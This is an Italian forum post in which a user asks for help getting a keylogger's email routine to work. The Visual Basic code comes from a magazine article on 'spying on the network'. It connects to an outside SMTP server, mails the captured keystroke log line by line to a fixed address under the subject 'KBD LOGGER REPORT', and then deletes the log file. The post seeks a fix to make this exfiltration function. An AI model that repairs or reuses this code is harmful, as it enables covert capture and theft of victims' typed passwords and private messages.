salve a tutti!
ho un problema con il codice presente nell'ultimo numero di io programmo nell'articolo Di Elia Florio "spiare in rete".
Non mi funziona l'invio tramite email dei file di log.
Questo è il codice relativo:
Private Sub smtp_send(fname As String)
Winsock1.Protocol = sckTCPProtocol
Winsock1.RemoteHost = "edmaster.it"
Winsock1.RemotePort = 25
Winsock1.Connect
WaitFor ("220")
If (networkErr = True) Then GoTo stop_send
'ingresso sul server di posta
Winsock1.SendData ("HELO kbdlogger" + vbCrLf)
WaitFor ("250")
If (networkErr = True) Then GoTo stop_send
'specifica mittente
'(controllare relay del server)
Winsock1.SendData ("MAIL FROM: <aaaa@libero.it>" + vbCrLf)
WaitFor ("250")
If (networkErr = True) Then GoTo stop_send
'specifica destinatario
Winsock1.SendData ("RCPT TO: <bbbb@libero.it>" + vbCrLf)
WaitFor ("250")
If (networkErr = True) Then GoTo stop_send
'corpo dell'e-mail
Winsock1.SendData ("DATA" + vbCrLf)
WaitFor ("354")
If (networkErr = True) Then GoTo stop_send
Winsock1.SendData ("From: ""KBD Logger"" <aaaaa@libero.it>" + vbCrLf)
Winsock1.SendData ("To: """" <bbbbb@libero.it>" + vbCrLf)
Winsock1.SendData ("Subject: KBD LOGGER REPORT " + vbCrLf + vbCrLf)
'apre il file di log in lettura e lo invia riga dopo riga
Dim TextLine
Open (path + fname) For Input As #2
Do While Not EOF(2)
Line Input #2, TextLine
Winsock1.SendData (TextLine + vbCrLf)
Loop
Close #2
'chiude l'e-mail
Winsock1.SendData ("." + vbCrLf)
WaitFor ("250")
If (networkErr = True) Then GoTo stop_send
Winsock1.SendData ("QUIT" + vbCrLf)
WaitFor ("221")
Winsock1.Close
'cancella il file di log appena inviato
Kill (path + fname)
stop_send:
End Sub
mi sapete dire se devo cambiare qualcosa?
Forse qui?
Winsock1.Protocol = sckTCPProtocol
Winsock1.RemoteHost = "edmaster.it"
Winsock1.RemotePort = 25
Oppure si puo lascire così?
Grazie
Ciao